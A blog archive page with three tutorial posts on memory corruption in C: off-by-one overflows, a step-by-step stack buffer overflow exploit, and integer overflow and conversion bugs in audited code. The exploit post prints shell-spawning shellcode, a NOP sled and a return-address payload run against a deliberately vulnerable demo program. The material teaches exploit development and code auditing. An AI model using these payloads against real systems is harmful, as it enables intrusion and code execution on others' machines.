Tuesday, 23 June 2015 00:00

off by one buffer overflow

off by one buffer overflow

Off-by-one vulnerability is a type of buffer overflow that allows you to only modify one byte. It is a result of miscalculation of the buffer length. Below is an example of off-by-one vulnerability in C language:

int get_user(char *user)

{

    char buf[1024];

 

    if(strlen(user) > sizeof(buf))

        die("error: user string too long\n");

 

    strcpy(buf, user);

 

    ...

}

The art of software security assessment, Listing 5-3

Here the strlen function return the size of string but does not consider the null termination character. The strcpy copies the user in buf variable and writes the null byte to the adjacent variable. If compiler does not use any padding the adjacent variable is EBP.

Sometimes because of compiler padding and reordering of variables, exploiting Off-by-one vulnerabilities is not possible but sometimes we can execute arbitrary codes in certain situations although in stack overflow off-by-one vulnerabilities we have no control on ESP. Depending on the compiler ordering of variables you may also have the opportunity to overwrite a specific variable that is vital for an application

Exploiting Off-by-one buffer overflow vulnerability

Exploiting an off-by-one vulnerability really depends to the place of the vulnerable buffer and also other buffers the user has control on. If the variable is just above the EBP (the variable is the first variable after EBP on the stack) the Off-by-one allows us to change the least significant byte of the EBP. This provides us the ability to manipulate the ESP of previous function since in some situations after the function returns the EBP is restored to ESP. Being allowed to alter the stack pointer of a function explicitly can provide us the opportunity to manipulate the EIP. If we change the least significant byte of the EBP so that it points to a buffer controllable by us, we can make up the buffer so that it contains a custom address to be restored as the saved EIP. This custom address can point to another user controllable buffer that contains the shellcode. Bam, after the second function returns, which its ESP points to altered EBP, our arbitrary code is executed.

 off by one stack buffer overflow exploit

Published in Exploit development

Buffer overflow exploit development

Buffer overflow exploits leverage a special type of bug in software where the buffer to be read or written is not properly managed. Normally an input data larger than the size of the buffer must lead to a fault or crash. However the Art of exploit development is to create a crafted data that not only does it not cause a program crash but also leads to an arbitrary command execution. Although a hacking experience such the one you had in my  Remote Hacking with Metasploit article proves how devastating can a buffer overflow exploit be, you are not a real hacker until you are armed with the knowledge of exploit development.

What is a basic buffer overflow vulnerability?

There are tons of buffer overflow exploit tutorial and even books out there teaching the basic concepts of buffer overflow exploits. A good example is this presentation regarding basic concepts of buffer overflow from syssec. I strongly recommend reading this power point presentation first and then read the rest of this exploit development tutorial. Here I am assuming that you have read this or you have a basic understanding of what buffer overflow is and why it can lead to an arbitrary code execution.

Which programming languages should I know for exploit development?

Generally for identifying a vast portion of buffer overflow vulnerabilities through static code analysis you should be experienced in C and C++, especially you should be comfortable by the pointer concept. Rather than C, a deep knowledge of assembly is also required. Assembly knowledge also is required for Shellcode development (don’t worry you get what shellcode is at the end of this article). The exploit writing itself does not need any programming language although developing exploit with metasploit is strongly recommended. Eventually a scripting language such as Python or Perl can buy you a lot of time for fuzzing to detect the buffer overflow vulnerability and then to write a code snippet to automatically run the exploit.

Buffer overflow example

In my Buffer overflow example article I introduced several buffer overflow examples in C but here I give you a basic example of an unmanaged buffer which can lead to a buffer overflow exploit:

 int main(int argc, char *argv[]) {

                int value = 5;

                char buffer_one[8], buffer_two[8];

 

                strcpy(buffer_one, "one"); /* put "one" into buffer_one */

                strcpy(buffer_two, "two"); /* put "two" into buffer_two */

               

                printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

                printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

                printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

 

                printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));

                strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */

 

                printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

                printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

                printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

}

 

The Art of Exploitation - overflow_example.c

Here the buffer_two is 8 bytes but no size checking is performed before copying the arg1 to it. This means you can input 16 or even more bytes to cause a buffer overflow. If you compile and run this small code you see the effect of a buffer flow. In this case the buffer_one is overwritten by extra bytes. Surprise?! Don’t be, if you had read the basic concepts behind buffer overflow you know that the stack grows down and this means any subsequent variables (in this case buffer_two) in memory are saved before their precedent (buffer_one). If you input a larger string you see that the program crashes. Usually you get a segmentation fault error because of the overflow. The goal of exploit development (for buffer overflow specifically) is to leverage this bug and recieve a shell or command prompt instead of a segmentation fault error or program crash! How fun it will be, right? Be patient we will get to that point. But first let’s review the requirements for exploit development.

Exploit experimentation operating system requirement

10 years ago, exploit writing was much easier than what it is right now. That’s because that time most of the current protections and security mechanisms to prevent a buffer overflow did not exist. If you’re thirsty to know how a simple vulnerable code can be exploited on modern operating systems such as Win 7 or Windows 8 you must be patient and read the articles in the Exploitation category especially Bypass ASLR, DEP and Stack Canary protections article. For now, to understand the concept download an old OS such as Ubunto 7.04 (Fiesty Fawn) that has little to no protection mechanisms. On such operating systems you can see the feasibility of exploitation and learn the basic exploit development concepts and then gradually upgrade your knowledge to hack on modern operating systems.

Why Buffer overflows can lead to an arbitrary code execution?

To answer this question we must know how a program is executed. A program is a collection of functions and depending on the algorithm of the program, the Main function executes other functions. “Main” function is the entry point of an application and when you click an executable, the statements in the Main function are executed one by one. A statement can be a call to a function and the called function can call another function in itself. This function calling mechanism has no limit so how does operating system keep track of the instructions to execute?! I mean after a function execution is done how operating system should know what is the next instruction after the called function? Well, a fast method for operating system to keep such data is to keep the next instruction address exactly where it stores the variables and function’s parameters. That place is the stack and again to see its structure I recommend read this presentation. The “next instruction address” after execution of a function is stored on top of all the function variables. This means any buffer vulnerable to buffer overflow in a function is beneath the saved Extended Instruction Pointer (EIP). In other words an overflow on any variable in a function can potentially overwrite the next instruction address or saved EIP on the stack.

How can we successfully overwrite the EIP?

If you have played with the buffer overflow example you see that extending the input finally leads to the program crash. When the crash happens, you have overwritten the EIP. But for a successful exploitation you need to know exactly how many bytes are needed to overwrite the EIP. Well I introduce two methods here. First using a debugger and second by experimentation.

Finding the exact bytes to overwrite the EIP using debugger

In this method we know the value of EIP and we just want to see how far it is located from our buffer. Let’s modify the buffer overflow example a little bit:

#include <stdio.h>

#include <string.h>

void copy_buffer(char buffer[],char argv[]) {

                strcpy(buffer, argv);

}

 

int main(int argc, char *argv[]) {

                int value = 5;

                char buffer_one[8], buffer_two[8];

 

                strcpy(buffer_one, "one"); /* put "one" into buffer_one */

                strcpy(buffer_two, "two"); /* put "two" into buffer_two */

               

                printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

                printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

                printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

 

                printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));

                copy_buffer(buffer_two, argv[1]); /* copy first argument into buffer_two */

 

                printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

                printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

                printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

}

 

The only difference is that we used copy_buffer function to copy the program arguments. Here we know that the next instruction after the copy_buffer is line 41. So after this function, the execution flow should return to the address of this instruction. By setting a breakpoint on copy_buffer line in Main and examining its address we are able to locate it in copy_buffer function. The simplest method is to set another breakpoint on line 9 just before  copy_buffer function returns. Then we examine the stack (64 bytes or more) and see where the return address value and our input placed. That’s it the distance between these two addresses show the exact required bytes to overwrite the saved EIP.

Finding the exact bytes to overwrite the EIP by experimentation

The goal here is to automate the task of running the program with different length inputs and see when it crashes. A python script can easily do such a task but here I show you a linux BASH script to do so:

 

$ for i in $(seq 1 100)

> do

> echo Trying offset $i

> ./a.out $(perl –e “print ‘AAAA’x$i“)

> done

 

Whenever you see the first segmentation fault you find the exact offset.

After finding the exact offset by repeating AAAA offset times you can successfully overwrite the EIP by the 0x41414141 value.

How can we execute our arbitrary command by overwriting the EIP?

Overwriting the EIP by a custom valid address means redirecting the execution to a code you want. Immediately you may ask redirecting execution where? You’re writing to a buffer, remember? So not just you’re overflowing the buffer to overwrite the saved EIP on the stack but also you write your code to that buffer. Thus the only barrier is to find the address of that buffer you overwrite so that you will be able to write this address on the saved EIP and bam, the program executes the code as input! This code is known as SHELLCODE.

What is NOP slide?

Finding the address of the buffer where you inject the SHELLCODE is not that easy. There are a lot of factors involved that can change the address of the buffer in different situations. Moreover the address should exactly points to the beginning of the SHELLCODE. So if any factor changes the address even by one byte, the SHELLCODE is not executed completely and the program crashes. To minimize the complexity of finding the exact return address (the address of the buffer) we place NOP instructions at the beginning of the SHELLCODE. When CPU sees a NOP instruction it simple does nothing. Thus if any factors change, the address points to somewhere between the NOP instructions (known as NOP slide) and the CPU executes NOPs one after the other until it reaches the SHELLCODE. The layout of our exploit is as shown in Figure 1:

layout of a buffer overflow exploit

Figure 1

 How to find the return address that points to the SHELLCODE?

The quick answer is using a debugger to find the address of the buffer that holds the input. When you audit an open source code or a simple example like the one in this tutorial you can easily find the address by using the variable name in the debugger.

  1. In Linux, gdb is the best and this task is as easy as attaching to the process:
gdb -q --pid=[PROCESS-ID] --symbols=[OUTPUT-FILE]

 

  1. Process Id can be retrieved using ps command and the output file is whatever name you give while compiling with gcc. After attaching to the process you can get the address of the buffer using this command:
x/x [VARIABLE-NAME]

 

In windows, it is even easier using WinDbg or Immunity debugger:

  1. You must first place your .pdb file in a location and point to it using this menu:

File-->Symbol File path

  1. And then you attach to the process using this menu:

File-->Attach to process

  1. And then view the variable address using:

View-->Watch

  1. Here you type the name of your variable.

If you do not have the symbol file and the source code, don’t worry! You can search for the input and retrieve the address of the beginning of the buffer. For example in WinDbg with Mona.py installed finding an AAAAAAAAA input pattern is as easy as:

!mona find -type asc -s "AAAAAAAAA"

SHELLCODE

Figure 2 shows a SHELLCODE:

SHELLCODE

Figure 2

These bytes if executed will spawn a bash shell for you. But in order to be executed you should inject them by the preceding NOP sled to the program. One important factor for a successful exploitation is the vulnerable buffer length. You can overflow and overwrite the EIP even with a 8 bytes buffer such as the one in our buffer overflow example though it needs a lot of experience and knowledge. We want to input our SHELLCODE + NOP Sled to the buffer so our buffer should be at least that big. Because of this we modify our buffer overflow example like this:

int main(int argc, char *argv[]) {

                int value = 5;

                char buffer_one[8], buffer_two[250];

                strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */

}

 

Now our vulnerable buffer is big enough that we can input a data that contains our NOP sled + SHELLCODE + Repeated Return Address

Building the exploit

Ok, so far you saw a vulnerable program to buffer overflow exploit. Then you learned that any vulnerable buffer allows you to overwrite the return address on the stack. Afterward you learned that you can purposely overwrite the return address so that it points to a SHELLCODE you input to the buffer. Finally you’ve learned how to find the address of the SHELLCODE at the buffer and add some NOPs to increase precision. Now it is time to see how we build an exploit using this info.

  1. In Linux we build the NOP sled like this:
$(perl -e 'print "\x90"x200')

 

This builds 200 NOP consecutive instructions for us.

  1. Then we build our SHELLCODE like this:
 Export SHELLCODE=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80")

 

The string is hexadecimal representation of binary codes to spawn a bash shell for us.

  1. Finally assuming the address of vulnerable buffer is 0xbffff5c0, we repeat the address of 0xbffff624 10 times. That’s right we do not repeat the buffer address but we repeat 0xbffff5c0 + 100! Because 100 bytes after it we are in the middle of NOP instructions and it is a safe guess even if the buffer address is altered by a factor. Why 10 times? That depends to the buffer length (here 250), NOP Sled size and the offset of the buffer to the saved EIP. Remember that the goal is to overflow the buffer and overwrite the EIP so if 10 does not work for you once again you can run the BASH script to find the offset and calculate the length of Repeated Return Addresses:
$(perl -e 'print "\xc0\xf5\xff\xbf"x10')

 

Did you notice? The address is in reverse order! That’s because an Intel 32 bit architecture like the Ubunto 7.04 (Fiesty Fawn) is little endian and this means the least significant bit is placed at the higher address.

  1. Finally our exploit can be run:
./a.out $(perl -e 'print "\x90"x200') $(echo $SHELLCODE)$(perl -e 'print "\xc0\xf5\xff\xbf"x10')

 

Or the exploit can be saved in a local environment variable like this:

Export EXPLOIT=$(perl -e 'print "\x90"x200') $(echo $SHELLCODE)$(perl -e 'print "\xc0\xf5\xff\xbf"x10')

 

You can also save the exploit to a file:

Echo $EXPLOIT > example_exploit

 

 Or you can run the exploit in future by:

./a.out $(echo $EXPLOIT)

 

Or:

./a.out $(cat example_exploit)

 

 

Published in Exploit development

integer overflow c | buffer overflow in c | buffer overflow example

C grants the developer full control over the memory management and because of this buffer overflow scenarios are very common. Either it is the usage of unsafe methods or developer’s mistakes to calculate the length of a buffer, the damage will be the same. Most of buffer overflow vulnerabilities are related to the wrong calculation of a buffer length or an offset. These issues are attributed to the C’s Integer characteristics which remain hidden to the developers. A professional code auditor should be able to detect such logic and sometimes complex vulnerabilities. In this article first I am going to talk about root causes of buffer overflows (mainly related to integers) and then provide several source code examples.

Most of novice hackers are familiar with the term buffer overflow. However a naïve viewpoint is that, developers’ usage of unsafe methods such as strcpy is the main cause for such vulnerabilities. Well maybe 15 years ago this perspective was right but over time codes have become more secure and hackers found new ways to leverage a bug! In recent years a great number of vulnerabilities were logic and complex vulnerabilities related to integer overflows, integer boundary issues and integer conversions. These issues were vulnerabilities because they explicitly cause a buffer overflow.

After you review the vulnerabilities I introduce in this article you probably know how an attacker leverage an integer issue such as an integer overflow but if you look for some preconditions here are a couple of conditions that may lead to a vulnerability:

  • Either a dynamic allocation(from the heap using malloc) or a reserved amount allocation(from the stack using variable definition) is performed
  • An input which is controllable from user is going to be read into the buffer
  • A calculation for the amount of the buffer to be allocated or size of the data to be copied is being performed (either using a length variable from the user or an implicit code to do so)

The real issue is the number passing for the copy operation (for example input to the memset) being bigger than the size of the buffer or sometimes the malloc’s size argument being lesser than the real value. The first two mentioned conditions are common between all memory management modules and you should have spotted them in your pre-assessment phase. Out of all memory management modules those which have the 3td condition are better to start with because they are likely to have integer overflow issues. For example a simple length +1 addition is all that may cause an buffer overflow.

Integer overflow c

An integer overflow either leads to a negative number or to a much smaller number. Integer overflows by themselves are not vulnerability but most of time they result in a buffer overflow because the calculation for buffer allocation becomes incorrect. For the first example let’s examine an OpenSSL 0.9.6l buffer overflow example (The code is taken from The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities book) because of a simple addition:

The Art of Software Security Assessment (Listing 6-6)

 

c.inf=ASN1_get_object(&(c.p),&(c.slen),&(c.tag),&(c.xclass),

                      len-off);

 

...

{

    /* suck in c.slen bytes of data */

    want=(int)c.slen;

    if (want > (len-off))

    {

        want-=(len-off);

        if (!BUF_MEM_grow(b,len+want))

        {

            ASN1err(ASN1_F_ASN1_D2I_BIO,

                    ERR_R_MALLOC_FAILURE);

            goto err;

        }

        i=BIO_read(in,&(b->data[len]),want);

 

To see the vulnerability consider c.slen to be 2147483647, len= 200(number of bytes already read), off=50(the number of bytes that are parsed). The first If statement passes because (2147483647>150) and the Grow-Buffer at line 21 does not grow the buffer because the len+want=-2147483449 and the last line writes 2147483647 bytes into in buffer! 

Although a simple addition of two big numbers can cause an integer overflow, addition is not the only cause; a multiplication is another source to cause integer overflow. In C for dynamic allocation malloc function is used. This function needs the number of bytes to be allocated as a parameter. To calculate the size, developers use:

bufferSize = length * [Type’s size]

If all of the variables are of type int32 and the user is able to specify a large length value, this multiplication can cause an integer overflow. Consider a network packet that contains a header field to indicate the length parameter. If the user specifies 1073741825 for this length value, on a 32 bit system that the type is int32 and 4 bytes, this multiplication leads to an integer overflow. This integer probably leads to a buffer overflow vulnerability because the bufferSize is 4 and malloc allocates 4 bytes. But the packet reader reads length parameter which leads to writing 1073741825 (4 bytes) after the 4th byte of the buffer! A huge buffer over flow!

Integer Conversion issues

A conversion between types can be either result of an explicit conversion or an implicit compiler conversion hidden from developer’s eyes. Explicit conversion vulnerabilities are mainly the result of the assignment of a smaller signed integer (short type) to an unsigned int. In this scenario a negative number such as -1 can become the biggest unsigned int! In these scenarios the memory is very small than the write operation. Another common explicit conversion is the conversion of an unsigned integer to its sign type. In this case a big number becomes a small negative number and probably bypass the following boundary length check. Implicit conversions mostly happen during operations; in fact every smaller type than int and unsigned int become int in arithmetic operations! A typical issue is when an integer value and an unsigned int are in an arithmatic operation. In this case the integer automatically is converted to an unsigned int! This is exactly why safe methods such as snprintf(), strncpy(), memcpy(), read(), or strncat() cannot be safe at all at certain situations. These functions accept an unsigned int as the “n” parameter to copy and passing a negative number ends up becoming a very large positive number.

Always remember that char and short types can be negative so passing these types as the parameter to the methods working with size_t can lead to a potential vulnerability. Look at a buffer overflow example in AntiSniff tool vulnerability from packetstormssecurity:

The Art of Software Security Assessment (adopted from listing 6-8)
  char *indx;
  unsigned int count;
  char nameStr[MAX_LEN]; //256
...
  memset(nameStr, '\0', sizeof(nameStr));
...
  indx = (char *)(pkt + rr_offset);
  count = (char)*indx;

  while (count){
    if (strlen(nameStr) + count < ( MAX_LEN - 1) ){
      (char *)indx++;
      strncat(nameStr, (char *)indx, count);
      indx += count;
      count = (char)*indx;
      strncat(nameStr, ".",
              sizeof(nameStr)  strlen(nameStr));
    } else {
      fprintf(stderr, "Alert! Someone is attempting "
                      "to send LONG DNS packets\n");
      count = 0;
    }

 }
 nameStr[strlen(nameStr)-1] = '\0';

 

When there is a conversion from the same-length unsigned type to the sign, there is a fat chance that an integer overflow vulnerability exists. In this case the large lengths are seen as a sign integer after the conversion and the following boundary checking is easily bypassed. It is worth to mention that many of these buffer overflow issues can be identified easier by a fuzz testing than by a source code analysis. For example let’s examine following piece of code:count is unsigned int which is correct, indx is used  to read characters including the count of next block. Indx is a char type and it makes sense, right? Well it doesn’t make sense since a char is signed and one can pass -1 as length. The -1 then will be converted (by dereferencing indx in line 7) to the hugest 32 bit integer and it passed the while condition. Then the if-statement at line 11 is going to prevent a buffer overflow attacks but since a small number (strlen(nameStr)) is added to a big integer (count) an integer overflow takes place and the result is less than MAX_LEN and the control flow goes to the copy statement in line 13. Here the big count number is passed as length argument and a buffer overflow happens. The If-Statement is an enhancement to the previous vulnerable version that there was no protection mechanism at all. But as you see the real problem is the conversion of a signed byte to an unsigned integer. Making both namestr and indx variables unsigned fix the problem of this buffer overflow example.

The Art of Software Security Assessment (Listing 6-12)

 

unsigned short read_length(int sockfd)

{

    unsigned short len;

 

    if(full_read(sockfd, (void *)&len, 2) != 2)

        die("could not read length!\n");

 

    return ntohs(len);

}

 

int read_packet(int sockfd)

{

    struct header hdr;

    short length;

    char *buffer;

 

    length = read_length(sockfd);

 

    if(length > 1024){

        error("read_packet: length too large: %d\n", length);

        return 1;

    }

 

    buffer = (char *)malloc(length+1);

    if((n = read(sockfd, buffer, length) < 0){

        error("read: %m");

        free(buffer);

        return 1;

    }

 

    buffer[n] = '\0';

 

    return 0;

}

 

In line 33 a simple conversion from unsigned short (result of read_length) to the signed short makes a big number like 65535 negative (-1) and therefor the length > 1024 check is bypassed. After that the malloc function surprisingly allocates 0 byte because the addition makes an integer overflow and the parameter of malloc becomes 0. 

While auditing it is important not to be misled by a complex algorithm and then leave it. One of the approaches to overcome the complexity is to look over a source code several times, and following just one goal in each iteration. To find integer conversion issues you should pay attention to variable definitions and the following assignment for each variable. If you find an assignment that the right side’s type is different than the left side then you should check different test cases. Let’s examine an integer overflow example from a vulnerability in SSH:

The Art of Software Security Assessment (adopted from listing 6-19)
/* Detect a crc32 compensation attack on a packet */
int
detect_attack(unsigned char *buf, u_int32_t len,
              unsigned char *IV)
{
    static u_int16_t *h = (u_int16_t *) NULL;
    static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
    register u_int32_t i, j;
    u_int32_t l;
    register unsigned char *c;
    unsigned char *d;

    if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
        len % SSH_BLOCKSIZE != 0) {
        fatal("detect_attack: bad length %d", len);
    }
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
       ;
if (h == NULL) {
    debug("Installing crc compensation "
          "attack detector.");
    n = l;
    h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
    if (l > n) {
        n = l;
        h = (u_int16_t *)xrealloc(h, n * HASH_ENTRYSIZE);
    }
}
if (len <= HASH_MINBLOCKS) {
        for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
            if (IV && (!CMP(c, IV))) {
                if ((check_crc(c, buf, len, IV)))
                    return (DEATTACK_DETECTED);
                else
                    break;
            }
            for (d = buf; d < c; d += SSH_BLOCKSIZE) {
                if (!CMP(c, d)) {
                    if ((check_crc(c, buf, len, IV)))
                    return (DEATTACK_DETECTED);
                else
                    break;
               }
           }
       }
       return (DEATTACK_OK);
    }
memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);

    if (IV)
        h[HASH(IV) & (n - 1)] = HASH_IV;

    for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
        for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
             i = (i + 1) & (n - 1)) {
            if (h[i] == HASH_IV) {
                if (!CMP(c, IV)) {
                    if (check_crc(c, buf, len, IV))
                        return (DEATTACK_DETECTED);
                    else
                        break;
                 }
             } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
                 if (check_crc(c, buf, len, IV))
                     return (DEATTACK_DETECTED);
                 else
                     break;
             }
          }
          h[i] = j;
       }
    return (DEATTACK_OK);
}

 

 This is fairly a complex code and finding the vulnerability in the first glance is hard but you should concentrate on your goal. For example from the memset (line 66) we suspect a buffer overflow vulnerability and our goal is to check the code for any buffer overflow vulnerabilities. In one of the iterations we check the code for type conversion issues and for that we check variable definition and following assignments. After looking at the lines 6 to 12 we should focus on finding any assignments between u_int16_t variables (n and h) and u_int32_t variable (l). We quickly find a conversion in line 26 and further analysis shows that by sending a packet of size 262,144 we can cause a buffer overflow. Because the n variable is used for buffer allocation and the buffer will be used for saving network data in line 71.

While auditing always check operations that involve size_t (or unsigned int32) type which is the result type of most libc functions.  Any operations involving this variable leads to an unsigned integer type and so any implication to consider the result of operations as signed integer is incorrect. A probable mistake is using a size_t type in subtraction and then comparing the result with a negative value! Comparisons that are supposed to protect an allocation or an indexing are also candidate statements to look for vulnerabilities.  So always check these kinds of comparisons and have mind that unsigned values cannot be negative!

C vulnerable functions

As a rule of thumb you always should examine the possibility of passing negative numbers for read(), recvfrom(), memcpy(), memset(), bcopy(), snprintf(), strncat(), strncpy(), and malloc() methods. You should have seen subtle vulnerabilities in this article and by now you should be convinced that at certain situations these functions cannot be safe at all. The real problem is the calculation of the buffer these functions use and you should closely check them.

Also pay careful attention to the usage of sizeof() operator. Remember that the result of sizeof is unsigned int and operations including such result do not produce negative values. sizeof() operator should be closely examined in buffer allocation functions. One of the sizeof issues is its usage on a buffer pointer value, expecting it to return the size of buffer; the result of sizeof on a pointer type is the size of variable. For example result of sizeof on c (a char pointer) is 4! Another mistake is usage of sizeof to guard an allocation. For example:

int buf[1024];

int *b=buf;

 

while (havedata() && b < buf + sizeof(buf))

{

    *b++=parseint(getdata());

}

 

Here buf + sizeof(buf) does not guard the loop from buffer overflow because the loop executes 4092 times not 1024! This is because ++ on pointer advances the pointer to the next element not next byte.

Advanced Programming Concepts
News Letter

Subscribe our Email News Letter to get Instant Update at anytime